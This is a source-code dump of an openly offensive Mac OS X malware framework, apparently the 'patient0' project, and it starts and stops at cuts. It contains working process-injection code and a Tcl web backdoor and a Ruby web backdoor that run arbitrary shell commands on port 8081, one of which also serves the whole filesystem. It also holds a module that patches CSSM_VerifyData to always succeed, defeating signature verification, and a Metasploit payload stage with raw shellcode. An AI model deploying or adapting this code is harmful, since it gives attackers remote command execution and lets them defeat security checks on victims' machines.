{%20} $str " "] "\""]; }; proc send {sock msg} { puts -nonewline $sock $msg }; proc send_ok {sock body} { send $sock "HTTP/1.0 200 OK\r\n"; send $sock "Content-Type: text/html; charset=ISO-8859-1\n"; send $sock "Connection: Close\n"; send $sock "Content-Length: [string length $body]\n\n"; send $sock $body; }; proc handle_index {sock} { set body "rubella

rubella infection running as [exec whoami] in pid [pid]

run something"; send_ok $sock $body; }; proc run_command {cmd} { if {[catch {set fl [open "| $cmd"]} err]} { return ": bad command ($cmd)"; }; set data [read $fl]; if {[catch {close $fl} err]} { puts "$cmd command failed: $err"; }; return [regsub -all {\n} $data "
"]; }; proc handle_run {sock req} { if {[regexp {cmd=([^ ]*)} $req full cmd]} { send_ok $sock [run_command [unescape $cmd]]; } else { send_ok $sock "rubella infection: run
cmd:
"; }; }; proc parse_request {sock} { set req [gets $sock]; while {1} { if {[eof $sock]} { close $sock; break; }; set header [gets $sock]; if {[string length $header] == 0} { break; }; }; if {[eof $sock]} { close $sock; } else { if {[regexp {^GET / } $req]} { handle_index $sock; } elseif {[regexp {^GET /run} $req]} { handle_run $sock $req; } else { send $sock "HTTP/1.0 403 FORBIDDEN\r\n\r\n"; }; }; close $sock; }; proc accept {sock addr port} { fileevent $sock readable [list parse_request $sock]; fconfigure $sock -buffering line -blocking 1; }; socket -server accept 8081; vwait events; 5 | -------------------------------------------------------------------------------- /pathogens/alzheimers/alzheimers.c: -------------------------------------------------------------------------------- 1 | /* alzheimer.c 2 | * 3 | * Copyright (c) 2009 Will Drewry . All rights reserved. 4 | * Use of this source code is governed by a BSD-style license that can be 5 | * found in the LICENSE file or at http://github.org/redpig/patient0. 6 | */ 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | static time_t current_time = 1243090562; 21 | 22 | int alz_gettimeofday(struct timeval *tp, void *tzp) { 23 | /* a test date. TODO: make this an appended argument */ 24 | tp->tv_sec = current_time++; 25 | return 0; 26 | } 27 | 28 | void alz_uuid_generate(uuid_t out) { 29 | memset(out, 0, sizeof(uuid_t)); 30 | } 31 | 32 | void alz_uuid_generate_random(uuid_t out) { 33 | memset(out, 0, sizeof(uuid_t)); 34 | } 35 | 36 | void alz_uuid_generate_time(uuid_t out) { 37 | memset(out, 0, sizeof(uuid_t)); 38 | } 39 | 40 | static struct { 41 | char *name; 42 | void *addr; 43 | } table[] = { 44 | { "gettimeofday", alz_gettimeofday }, 45 | { "uuid_generate", alz_uuid_generate }, 46 | { "uuid_generate_random", alz_uuid_generate_random }, 47 | { "uuid_generate_time", alz_uuid_generate_time }, 48 | }; 49 | static int table_size = 4; 50 | 51 | void run(unsigned char *code, uint32_t size) { 52 | int entry = 0; 53 | p0_logf(P0_INFO, "alzheimer running"); 54 | /* install function replacements */ 55 | mach_jump_init(); 56 | for ( ; entry < table_size; ++entry) { 57 | //if (!mach_jump_patch_images(table[entry].name, table[entry].addr)) { 58 | if (!clobber_function_by_symbol(table[entry].name, &(table[entry].addr))) { 59 | p0_logf(P0_ERR, "failed to patch %s", table[entry].name); 60 | } 61 | } 62 | p0_logf(P0_INFO, "terminating"); 63 | runtime_terminate(); 64 | } 65 | -------------------------------------------------------------------------------- /pathogens/rubella/Makefile: -------------------------------------------------------------------------------- 1 | include ../../Makefile.inc 2 | 3 | libpatient0.a: 4 | make -C $(TOP)/src libpatient0.a 5 | cp $(TOP)/src/libpatient0.a ./ 6 | 7 | rubella.bundle: rubella.c libpatient0.a rubella_payload.h rerun_rb.h pivot_rb.h 8 | gcc $(CFLAGS) -DSYRINGE_BUNDLE rubella.c libpatient0.a -bundle -o rubella.bundle -lpthread -I/System/Library/Frameworks/Security.framework/Headers/ -lpthread 9 | 10 | # Doesn't play nice in threads when doing more than printing. 11 | #rubyist.bundle: rubyist.c libpatient0.a 12 | # gcc rubyist.c -o rubyist.bundle -I/System/Library/Frameworks/Ruby.framework/Headers -bundle $(CFLAGS) libpatient0.a -lruby -lpthread 13 | 14 | tclist.bundle: tclist.c libpatient0.a 15 | gcc tclist.c -o tclist.bundle -bundle $(CFLAGS) libpatient0.a -lpthread -framework Tcl 16 | 17 | # We could grep out comments and compress it, but payload size isn't a concern 18 | # right now. 19 | rerun_rb.h: rerun.rb 20 | xxd -i rerun.rb > rerun_rb.h 21 | 22 | pivot_rb.h: pivot.rb 23 | xxd -i pivot.rb > pivot_rb.h 24 | 25 | #rubella_payload.h: rubyist.bundle server.rb 26 | # cp rubyist.bundle rubella.payload.tmp 27 | # cat server.rb | grep -vEe '^[ ]*#' >> rubella.payload.tmp 28 | # ruby -e 'print [File.stat("server.rb").size].pack("V")' >> rubella.payload.tmp 29 | # cat rubella.payload.tmp | xxd -i > rubella.payload 30 | # xxd -i rubella.payload > rubella_payload.h 31 | 32 | rubella_payload.h: tclist.bundle web.tcl 33 | cp tclist.bundle rubella.payload.tmp 34 | cat web.tcl | grep -vEe '^[ ]*#' > rubella.payload.tcl 35 | cat rubella.payload.tcl >> rubella.payload.tmp 36 | ruby -e 'print [File.stat("rubella.payload.tcl").size].pack("V")' >> rubella.payload.tmp 37 | cat rubella.payload.tmp | xxd -i > rubella.payload 38 | xxd -i rubella.payload > rubella_payload.h 39 | 40 | metasploit: rubella.bundle 41 | 42 | all: metasploit 43 | 44 | clean: 45 | @rm -rf *.dSYM &> /dev/null 46 | @rm rubyist_bundle.h pivot_rb.h rerun_rb.h rubella.payload rubella.payload.tmp rubella_payload.h rubella.payload.tcl libpatient0.a *.bundle &> /dev/null 47 | 48 | .IGNORE: clean 49 | -------------------------------------------------------------------------------- /pathogens/rubella/tclist.c: -------------------------------------------------------------------------------- 1 | /* tclist.c: proof of concept bundle which runs the script appended to 2 | * it when injected via patient0/rubella. 3 | * 4 | * Copyright (c) 2009 Will Drewry . All rights reserved. 5 | * Use of this source code is governed by a BSD-style license that can be 6 | * found in the LICENSE file or at http://github.org/redpig/patient0. 7 | */ 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include /* Tcl framework. Ships with leopard :) */ 13 | #include 14 | 15 | 16 | #include 17 | #include 18 | 19 | static uint32_t script_size = 0; 20 | static char *script = NULL; 21 | 22 | void run_tcl(void *arg) { 23 | Tcl_Interp *interp; 24 | Tcl_Obj *obj; 25 | if (script) { 26 | script[script_size - 1] = '\0'; 27 | p0_logf(P0_INFO, "creating a Tcl interpreter"); 28 | interp = Tcl_CreateInterp(); 29 | if (Tcl_Init(interp) != TCL_OK) { 30 | p0_logf(P0_ERR, "failed to initialized Tcl"); 31 | runtime_deadlock(); 32 | } 33 | p0_logf(P0_INFO, "evaluating Tcl script"); 34 | obj = Tcl_NewStringObj(script, script_size); 35 | Tcl_EvalObjEx(interp, obj, TCL_EVAL_GLOBAL); 36 | p0_logf(P0_INFO, "Tcl_Eval returned."); 37 | /* Tcl_GetStringResult(interp) */ 38 | } 39 | } 40 | 41 | void run(char *code, uint32_t size) { 42 | script_size = PATIENT0_PAYLOAD_SIZE(code, size); 43 | script = PATIENT0_PAYLOAD(code, size); 44 | pthread_t id; 45 | p0_logf(P0_INFO, "code: %p", code); 46 | p0_logf(P0_INFO, "code size: %d", size); 47 | p0_logf(P0_INFO, "script size: %d", script_size); 48 | p0_logf(P0_INFO, "script: %p", script); 49 | p0_logf(P0_INFO, "creating a new thread for tcl..."); 50 | if (pthread_create(&id, NULL, run_tcl, NULL)) { 51 | p0_logf(P0_ERR, "failed to create thread"); 52 | } 53 | p0_logf(P0_INFO, "deadlocking"); 54 | /* TODO: vm_free self as well if we can 55 | * then move it into runtime.h. Otherwise we will still 56 | * be wasting memory. 57 | */ 58 | thread_terminate(mach_thread_self()); 59 | runtime_deadlock(); 60 | } 61 | -------------------------------------------------------------------------------- /pathogens/swineflu/swineflu.c: -------------------------------------------------------------------------------- 1 | /* swineflu.c 2 | * 3 | * Copyright (c) 2009 Will Drewry . All rights reserved. 4 | * Use of this source code is governed by a BSD-style license that can be 5 | * found in the LICENSE file or at http://github.org/redpig/patient0. 6 | */ 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | 23 | /* Extract from /System/Library/Frameworks/Security.framework/Versions/A/Headers/ */ 24 | 25 | typedef int32_t sint32; 26 | typedef sint32 CSSM_RETURN; 27 | typedef intptr_t CSSM_INTPTR; 28 | typedef size_t CSSM_SIZE; 29 | #define CSSMAPI 30 | enum { 31 | CSSM_OK = 0 32 | }; 33 | typedef uint64_t CSSM_LONG_HANDLE, *CSSM_LONG_HANDLE_PTR; 34 | typedef CSSM_LONG_HANDLE CSSM_CC_HANDLE; /* Cryptographic Context Handle */ 35 | 36 | typedef struct cssm_data { 37 | CSSM_SIZE Length; /* in bytes */ 38 | uint8_t *Data; 39 | } CSSM_DATA, *CSSM_DATA_PTR; 40 | 41 | typedef uint32_t CSSM_ALGORITHMS; 42 | static CSSM_RETURN CSSMAPI 43 | swineflu_CSSM_VerifyData(CSSM_CC_HANDLE CCHandle, 44 | const CSSM_DATA *DataBufs, 45 | uint32_t DataBufCount, 46 | CSSM_ALGORITHMS DigestAlgorithm, 47 | const CSSM_DATA *Signature) { 48 | return CSSM_OK; 49 | } 50 | static intptr_t verify_data_ptr = (intptr_t)swineflu_CSSM_VerifyData; 51 | 52 | void run(unsigned char *code, uint32_t size) { 53 | p0_logf(P0_INFO, "swineflu running"); 54 | /* install function replacements */ 55 | mach_jump_init(); 56 | if (!clobber_function_by_symbol("CSSM_VerifyData", (intptr_t)&verify_data_ptr)) { 57 | p0_logf(P0_ERR, "failed to clobber CSSM_VerifyData"); 58 | /* Let's at least patch it out for the main process */ 59 | mach_jump_patch("CSSM_VerifyData", swineflu_CSSM_VerifyData); 60 | } 61 | /* hang this thread */ 62 | runtime_deadlock(); 63 | } 64 | -------------------------------------------------------------------------------- /pathogens/rubella/webserver.rb: -------------------------------------------------------------------------------- 1 | # Uh yeah. So this doesn't work when injected. 2 | # 3 | # Copyright (c) 2009 Will Drewry . All rights reserved. 4 | # Use of this source code is governed by a BSD-style license that can be 5 | # found in the LICENSE file or at http://github.org/redpig/patient0. 6 | 7 | 8 | require 'webrick' 9 | require 'timeout' 10 | include WEBrick 11 | 12 | s = HTTPServer.new(:Port => 8081, :DocumentRoot => "/", :Logger => Log.new(nil, BasicLog::WARN), :AccessLog => []) 13 | s.mount("/fs", HTTPServlet::FileHandler, "/", :FancyIndexing => true) 14 | class IndexServlet < HTTPServlet::AbstractServlet 15 | HOSTNAME = IO.popen("/bin/hostname", "r").read() 16 | PID = Process.pid 17 | def do_GET(req, res) 18 | res.body = String(<<-EOF).gsub(/\n/, '') 19 | 20 | 21 | rubella @ #{HOSTNAME} in pid: #{PID} 22 | 23 | 24 | Would you like to:
25 | 29 | 30 | 31 | EOF 32 | res['Content-Type'] = "text/html" 33 | end 34 | end 35 | s.mount("/", IndexServlet) 36 | 37 | class RunServlet < HTTPServlet::AbstractServlet 38 | def do_GET(req, res) 39 | unless req.query.has_key? 'cmdline' 40 | res.body = String(<<-EOF).gsub(/\n/, '') 41 | 42 | 43 | RUN! 44 | 45 | 46 |
47 | Command: 48 | 49 |
50 | 51 | 52 | EOF 53 | else 54 | result = "" 55 | begin 56 | timeout(10) { 57 | result = IO.popen(req.query['cmdline'], "r").read() 58 | } 59 | rescue => e 60 | result = 'timed out' 61 | end 62 | res.body = String(<<-EOF).gsub(/\n/, '') 63 | 64 | 65 | RUN! 66 | 67 | 68 |
69 | Command: 70 | 71 |
72 | Result:
73 |
#{result.gsub(/')}
74 | 75 | 76 | EOF 77 | end 78 | res['Content-Type'] = "text/html" 79 | end 80 | end 81 | s.mount("/run", RunServlet) 82 | s.start 83 | -------------------------------------------------------------------------------- /src/mach_jump/clobber.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2009 Will Drewry . All rights reserved. 3 | * Use of this source code is governed by a BSD-style license that can be 4 | * found in the LICENSE file or at http://github.org/redpig/patient0. 5 | * vim:tw=80:ts=2:et:sw=2 6 | */ 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #include 23 | #include 24 | 25 | /* clobber_function_by_symbol 26 | * 27 | * This is heinous, but functional. It looks up the given 28 | * symbol in the currently loaded application, then overwrites 29 | * the first 6 bytes with a jmp to our replacement. 30 | * Issues: 31 | * - non-atomic. can be fixed with an cmpxchg8b 32 | * - non-reversible. could save a backup 33 | * - no easy way to access the original without unpatching. 34 | * Arguments: 35 | * - sym: symbol name to be resolved by dlsym 36 | * - ptr_to_addrptr: the address of a global pointer which contains the 37 | * address of the replacement function‥ E.g., 38 | * void * repl_fn = &my_replacement; 39 | * clobber...("symbol", (intptr_t)&repl_fn); 40 | */ 41 | int clobber_function_by_symbol(const char *sym, intptr_t ptr_to_addrptr) { 42 | char *addr = NULL; 43 | addr = dlsym(RTLD_DEFAULT, sym); 44 | /* We make the original function address space writeable. 45 | * You'd expect this to need alignment and maybe a good minimum 46 | * size based on the page size, but you'd be wrong. 47 | */ 48 | if (addr && !vm_protect(mach_task_self(), 49 | (vm_address_t)addr, 50 | 6, // 6 bytes really... (32-bit) 51 | 0, 52 | 0x1|0x2|0x4)) { 53 | /* Write the opcode for >jmp [dword] */ 54 | *addr++ = '\xff'; 55 | *addr++ = '\x25'; 56 | /* Write the global memory which will have the fn bounce addr. */ 57 | memcpy(addr, &ptr_to_addrptr, sizeof(intptr_t)); 58 | return 0; 59 | } 60 | return 1; 61 | } 62 | 63 | -------------------------------------------------------------------------------- /extras/metasploit/modules/payloads/stages/osx/x86/rubella.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # $Id: isight.rb 6479 2009-04-13 14:33:26Z kris $ 3 | ## 4 | 5 | ## 6 | # This file is part of the Metasploit Framework and may be subject to 7 | # redistribution and commercial restrictions. Please see the Metasploit 8 | # Framework web site for more information on licensing and terms of use. 9 | # http://metasploit.com/framework/ 10 | ## 11 | 12 | 13 | require 'msf/core' 14 | require 'msf/core/payload/osx/patient0' 15 | require 'msf/base/sessions/vncinject' 16 | require 'fileutils' 17 | require 'rex/compat' 18 | 19 | ### 20 | # 21 | # Injects patient0's syringe loaded with rubella into an exploited process 22 | # over the established TCP connection (bind_tcp/reverse_tcp). In addition, 23 | # rubella will load an arbitrary bundle into launchd if it can acquire root 24 | # privileges. This bundle can be specified as a PATHOGEN_PAYLOAD. 25 | # TODO: make rubella do a privileged connect-back 26 | ### 27 | module Metasploit3 28 | 29 | include Msf::Payload::Osx::Patient0 30 | 31 | def initialize(info = {}) 32 | super(update_info(info, 33 | 'Name' => 'Mac OS X x86 patient0/rubella', 34 | 'Version' => '$Revision: 6479 $', 35 | 'Description' => 'Inject patient0/rubella bundle', 36 | 'Author' => [ 'Will Drewry ' ], 37 | 'License' => MSF_LICENSE, 38 | # TODO: fix the session used. We setup one channel for payload delivery (bundles) 39 | # but it'd be awesome to auto-respond if rubella does a connect-back. 40 | 'Session' => Msf::Sessions::CommandShell)) 41 | 42 | # Override the SYRINGE & PATHOGEN path with the rubella library 43 | register_options( 44 | [ 45 | OptPath.new('SYRINGE', 46 | [ 47 | true, 48 | "The local path to the patient0 syringe Bundle to upload", 49 | File.join(Msf::Config.install_root, "data", "syringe.bundle") 50 | ]), 51 | OptPath.new('PATHOGEN', 52 | [ 53 | true, 54 | "The local path to the patient0 syringe Bundle to upload", 55 | File.join(Msf::Config.install_root, "data", "rubella.bundle") 56 | ]), 57 | ], self.class) 58 | end 59 | 60 | def handle_connection_stage(conn) 61 | # Send other payloads first 62 | super 63 | # Don't send a payload yet. 64 | # TODO! 65 | # print_status("Sending empty pathogen_payload") 66 | # Don't send an additional payload. 67 | conn.put([ 0 ].pack('V')) 68 | end 69 | 70 | def on_session(session) 71 | # How do we get the next stage over? 72 | super(session) 73 | end 74 | 75 | end 76 | -------------------------------------------------------------------------------- /src/mach_jump/libdupe.c: -------------------------------------------------------------------------------- 1 | /* 2 | * DO NOT USE. THIS IS UNFINISHED AND DOES NOT WORK. 3 | * PULL IN MACH_STAR IF YOU NEED DIRECT FUNCTION OVERRIDES. 4 | * Copyright (c) 2009 Will Drewry . All rights reserved. 5 | * Use of this source code is governed by a BSD-style license that can be 6 | * found in the LICENSE file or at http://github.org/redpig/patient0. 7 | * vim:tw=80:ts=2:et:sw=2 8 | */ 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #include 26 | #include 27 | 28 | /* Find the section and return its info */ 29 | bool libdupe_dupe(const char *symbol, libdupe_entry_t *entry) { 30 | void *sym = dlsym(RTLD_DEFAULT, symbol); 31 | vm_address_t address = (vm_address_t)sym; 32 | vm_size_t size = 0; 33 | uint32_t image_index = 0; 34 | vm_region_basic_info_data_t basic_info; 35 | mach_msg_type_number_t info_count = VM_REGION_BASIC_INFO_COUNT; 36 | mach_port_t object_name = MACH_PORT_NULL; 37 | if (!sym || !entry) { 38 | return false; 39 | } 40 | /* Let's grab the region */ 41 | p0_logf(P0_INFO, "attempting to find the region for %p", address); 42 | if (vm_region(mach_task_self(), &address, &size, 43 | VM_REGION_BASIC_INFO, (vm_region_info_t) &basic_info, 44 | &info_count, &object_name) != KERN_SUCCESS) { 45 | p0_logf(P0_ERR, "failed to load vm_region information"); 46 | return false; 47 | } 48 | p0_logf(P0_INFO, "found region at %p with size %d", address, size); 49 | p0_logf(P0_INFO, "prot = %d", basic_info.protection); 50 | p0_logf(P0_INFO, "offset = %d", basic_info.offset); 51 | /* Well that was easy. Let's dupe it and populate our return structure and 52 | * hope for the best. 53 | */ 54 | entry->original_base = (uint8_t *)address; 55 | entry->size = size; 56 | p0_logf(P0_INFO, "attempting to allocate some space"); 57 | if (vm_allocate(mach_task_self(), &address, size, 1) != KERN_SUCCESS) { 58 | p0_logf(P0_ERR, "failed to create allocation"); 59 | return false; 60 | } 61 | entry->base = (uint8_t *)address; 62 | p0_logf(P0_INFO, "memory allocated @ %p", entry->base); 63 | /* TODO: Add vm_protect here if needed */ 64 | if (vm_write(mach_task_self(), 65 | address, 66 | (vm_offset_t) entry->original_base, 67 | entry->size) != KERN_SUCCESS) { 68 | p0_logf(P0_ERR, "failed to copy the region. bollocks."); 69 | return false; 70 | } 71 | p0_logf(P0_INFO, "libdupe completed!"); 72 | return true; 73 | } 74 | 75 | -------------------------------------------------------------------------------- /src/mach_jump/image_info.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include 17 | 18 | static struct dyld_all_image_infos *all_image_infos = NULL; 19 | 20 | bool image_info_initialize() { 21 | /* Looking up dyld_all_image_infos as per mach-o/dyld_images.h */ 22 | struct nlist l[8] = { 0 }; 23 | struct nlist *list = &l[0]; 24 | list->n_un.n_name = "_dyld_all_image_infos"; 25 | /* Hmm I'd prefer to pull this from memory if possible ... */ 26 | nlist("/usr/lib/dyld", list); 27 | if (list->n_value) { 28 | all_image_infos = (struct dyld_all_image_infos *) list->n_value; 29 | return true; 30 | } 31 | return false; 32 | } 33 | 34 | 35 | bool image_info_ready() { 36 | return image_info_initialize() && all_image_infos->infoArray; 37 | } 38 | 39 | uint32_t image_info_count() { 40 | if (!image_info_initialize()) { 41 | return 0; 42 | } 43 | return all_image_infos->infoArrayCount; 44 | } 45 | 46 | bool image_info_wait_until_ready() { 47 | /* TODO: gdb sets a breakpoint... */ 48 | return false; 49 | } 50 | 51 | bool image_info_jump_table(uint32_t index, jump_table_t *table) { 52 | const struct mach_header *header; 53 | if (!image_info_ready()) { 54 | p0_logf(P0_ERR, "image info not currently ready"); 55 | return false; 56 | } 57 | if (index >= all_image_infos->infoArrayCount) { 58 | p0_logf(P0_ERR, "index out of range"); 59 | return false; 60 | } 61 | if (!table) { 62 | p0_logf(P0_ERR, "specified jump_table pointer is NULL"); 63 | return false; 64 | } 65 | header = all_image_infos->infoArray[index].imageLoadAddress; 66 | p0_logf(P0_INFO, "loading image '%s'", 67 | all_image_infos->infoArray[index].imageFilePath); 68 | if (!header) { 69 | p0_logf(P0_ERR, "failed to acquire header for %d", index); 70 | return false; 71 | } 72 | table->addr = (intptr_t) getsectdatafromheader(header, 73 | "__IMPORT", 74 | "__jump_table", 75 | (unsigned long *) 76 | &table->size); 77 | p0_logf(P0_INFO, "header: %p addr %p", header, table->addr); 78 | if (table->addr == 0) { 79 | p0_logf(P0_ERR, "jump table mapped at 0x0: bailing"); 80 | return false; 81 | } 82 | /* Make sure we can patch the table */ 83 | if (vm_protect(mach_task_self(), 84 | (vm_address_t)table->addr, 85 | table->size, 86 | false, 87 | VM_PROT_ALL) != KERN_SUCCESS) { 88 | /* we will keep on truckin' though. just in case! */ 89 | p0_logf(P0_WARN, "failed to change the protections on the jump table"); 90 | } 91 | return true; 92 | } 93 | 94 | -------------------------------------------------------------------------------- /src/process.c: -------------------------------------------------------------------------------- 1 | /* vim:tw=80:ts=2:et:sw=2 2 | * Copyright (c) 2009 Will Drewry . All rights reserved. 3 | * Use of this source code is governed by a BSD-style license that can be 4 | * found in the LICENSE file or at http://github.org/redpig/patient0. 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | 16 | size_t process_kernel_max() { 17 | size_t max = 0; 18 | size_t max_sz = sizeof(max); 19 | int mib[] = { CTL_KERN, KERN_MAXPROC }; 20 | if (sysctl(mib, 2, &max, &max_sz, NULL, 0) == -1) { 21 | p0_logf(P0_ERR, "failed to get KERN_MAXPROC"); 22 | return 0; 23 | } 24 | return max; 25 | } 26 | 27 | 28 | bool process_list(struct kinfo_proc **processes, size_t *count) { 29 | static const int mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 }; 30 | size_t miblength = (sizeof(mib) / sizeof(*mib)) - 1; 31 | size_t length = process_kernel_max() * sizeof(struct kinfo_proc); 32 | 33 | /* Allocate the process list with the discovered size */ 34 | *processes = malloc(length); 35 | if (*processes == NULL) { 36 | p0_logf(P0_ERR, "could not allocate enough memory for a process list"); 37 | *count = 0; 38 | return false; 39 | } 40 | 41 | /* Populate the process list */ 42 | *count = length; 43 | if (sysctl((int *)mib, 3, *processes, count, NULL, 0) == -1) { 44 | p0_logf(P0_ERR, "failed to get processes"); 45 | return false; 46 | } 47 | p0_logf(P0_INFO, "received process list with count: %d", *count); 48 | if (*count > 0) { 49 | *count /= sizeof(struct kinfo_proc); 50 | } 51 | 52 | return true; 53 | } 54 | 55 | pid_t process_find(const char *prefix) { 56 | struct kinfo_proc *list = NULL, *cursor = NULL; 57 | size_t list_length = 0; 58 | size_t count = 0; 59 | size_t prefix_length = strlen(prefix); 60 | pid_t pid = -1; 61 | 62 | if (!process_list(&list, &list_length)) { 63 | p0_logf(P0_ERR, "failed to get process list"); 64 | return -1; 65 | } 66 | 67 | /* Make sure the given prefix string isn't longer than the 68 | * maximum size allowed 69 | */ 70 | if (prefix_length > MAXCOMLEN) { 71 | prefix_length = MAXCOMLEN; 72 | } 73 | 74 | /* Walk the list until we match the prefix */ 75 | p0_logf(P0_INFO, "scanning process list: %d\n", list_length); 76 | for (cursor = list ; count < list_length; ++count, ++cursor) { 77 | p0_logf(P0_INFO, "process: %s\n", cursor->kp_proc.p_comm); 78 | if (strncmp(cursor->kp_proc.p_comm, prefix, prefix_length) == 0) { 79 | pid = cursor->kp_proc.p_pid; 80 | break; 81 | } 82 | } 83 | 84 | p0_logf(P0_INFO, "done with process list\n"); 85 | /* No luck */ 86 | free(list); 87 | return pid; 88 | } 89 | 90 | #ifdef PROCESS_MAIN 91 | int main(int argc, char **argv) { 92 | if (argc < 2) { 93 | printf("Usage:\n%s command_name\nE.g, %s Dock\n", argv[0], argv[0]); 94 | return -1; 95 | } 96 | printf("pid is %d\n", process_find(argv[1])); 97 | return 0; 98 | } 99 | #endif 100 | -------------------------------------------------------------------------------- /src/infect.c: -------------------------------------------------------------------------------- 1 | /* 2 | * vim:tw=80:ts=2:et:sw=2 3 | * Copyright (c) 2009 Will Drewry . All rights reserved. 4 | * Use of this source code is governed by a BSD-style license that can be 5 | * found in the LICENSE file or at http://github.org/redpig/patient0. 6 | */ 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | /* inject_bundle.h should be generated at make time */ 20 | #include "inject_bundle.h" 21 | 22 | /* Creates a running thread in the target task and executes the given 23 | * bundle by calling: 24 | * void run(void *bundle, size_t size) 25 | * after injection. This allos bundles to nest any data they need at the 26 | * end of their payload. 27 | */ 28 | #define DEFAULT_STACK_SIZE 64 * 1024 29 | static const char stack[DEFAULT_STACK_SIZE] = { 0 }; 30 | 31 | bool infect(mach_port_t task, 32 | const unsigned char *bundle, 33 | size_t size, 34 | thread_act_t *thread) { 35 | i386_thread_state_t i386_state = { 0 }; 36 | vm_address_t stack_seg, code_seg, bundle_seg; 37 | 38 | if (!bundle || !size) { 39 | p0_logf(P0_ERR, "no bundle supplied"); 40 | return false; 41 | } 42 | 43 | /* Allocate the basics for the new thread: 44 | * - space for a stack 45 | * - space for the bootstrap code 46 | * - space for the injected bundle 47 | */ 48 | if (vm_allocate(task, &stack_seg, sizeof(stack), 1) != KERN_SUCCESS) { 49 | p0_logf(P0_ERR, "failed to allocate a remote stack"); 50 | return false; 51 | } 52 | /* At present, these regions seem to default to RWX. Bonus! */ 53 | if (vm_allocate(task, &code_seg, inject_bundle_len, 1) != KERN_SUCCESS) { 54 | p0_logf(P0_ERR, "failed to allocate remote code segment"); 55 | /* TODO: clean up the stack segment, maybe */ 56 | return false; 57 | } 58 | if (vm_allocate(task, &bundle_seg, size, 1) != KERN_SUCCESS) { 59 | p0_logf(P0_ERR, "failed to allocate remote bundle segment"); 60 | /* TODO: clean up the stack segment, maybe */ 61 | return false; 62 | } 63 | /* Make sure bundle_seg and code_seg are executable */ 64 | if (vm_protect(task, bundle_seg, size, false, VM_PROT_ALL) != KERN_SUCCESS) { 65 | p0_logf(P0_ERR, "failed to make bundle segment +RWX"); 66 | /* we will keep on truckin' though. just in case! */ 67 | } 68 | if (vm_protect(task, code_seg, size, false, VM_PROT_ALL) != KERN_SUCCESS) { 69 | p0_logf(P0_ERR, "failed to make code segment +RWX"); 70 | /* we will keep on truckin' though. just in case! */ 71 | } 72 | 73 | /* Now we should populate the given segments. 74 | * The stack must be filled with 0s so that we can 75 | * use it as a placeholder for the pthread_set_self call 76 | * in the inject_bundle code. 77 | */ 78 | if (vm_write(task, 79 | code_seg, 80 | (vm_offset_t) inject_bundle, 81 | inject_bundle_len) != KERN_SUCCESS) { 82 | p0_logf(P0_ERR, "failed to write the bootstrap code"); 83 | return false; 84 | } 85 | if (vm_write(task, 86 | stack_seg, 87 | (vm_offset_t) stack, 88 | sizeof(stack)) != KERN_SUCCESS) { 89 | p0_logf(P0_ERR, "failed to write the stack contents"); 90 | return false; 91 | } 92 | if (vm_write(task, 93 | bundle_seg, 94 | (vm_offset_t) bundle, 95 | size) != KERN_SUCCESS) { 96 | p0_logf(P0_ERR, "failed to write the bundle"); 97 | return false; 98 | } 99 | /* Setup the processor to execute our code */ 100 | i386_state.__eip = code_seg; 101 | i386_state.__esp = stack_seg + (sizeof(stack) / 2); 102 | i386_state.__ebp = i386_state.__esp - 12; 103 | i386_state.__edi = bundle_seg; 104 | i386_state.__esi = size; 105 | if (thread_create_running(task, 106 | i386_THREAD_STATE, 107 | (thread_state_t) &i386_state, 108 | i386_THREAD_STATE_COUNT, 109 | thread) != KERN_SUCCESS) { 110 | p0_logf(P0_ERR, "failed to start thread"); 111 | return false; 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /extras/metasploit/lib/msf/core/payload/osx/patient0.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | 3 | module Msf 4 | 5 | ### 6 | # 7 | # patient0 common module stub that is meant to be included in payloads that supply 8 | # patient0 pathogens and payloads. The module is based heavily on bundleinject.rb 9 | # and reuses the same Stage['Payload']. See the Metasploit licensing details. 10 | # 11 | ### 12 | module Payload::Osx::Patient0 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'Mac OS X Inject Patient0 + Pathogen', 17 | 'Version' => '$Revision: 6353 $', 18 | 'Description' => 'Inject a custom Mach-O bundle into the exploited process', 19 | 'Author' => 20 | [ 21 | 'Will Drewry ', 22 | 'Dino Dai Zovi ', # derived from bundleinject.rb 23 | ], 24 | 'License' => MSF_LICENSE, 25 | 'Platform' => 'osx', 26 | 'Arch' => ARCH_X86, 27 | 'PayloadCompat' => 28 | { 29 | 'Convention' => 'sockedi' 30 | }, 31 | 'Stage' => 32 | { 33 | 'Payload' => # from bundleinject.rb 34 | "\xe9\xc1\x00\x00\x00\x8b\x44\x24\x04\x50\x68\x00\x00\xe0\x8f\xe8"+ 35 | "\x03\x00\x00\x00\xc2\x04\x00\x55\x89\xe5\x83\xec\x0c\x53\x56\x57"+ 36 | "\x8b\x5d\x08\x8b\x43\x10\x89\x45\xfc\x80\xc3\x1c\x31\xc0\x39\x45"+ 37 | "\xfc\x0f\x84\x88\x00\x00\x00\x40\x39\x03\x74\x10\x40\x39\x03\x74"+ 38 | "\x41\xff\x4d\xfc\x03\x5b\x04\xe9\xe0\xff\xff\xff\x81\x7b\x0a\x54"+ 39 | 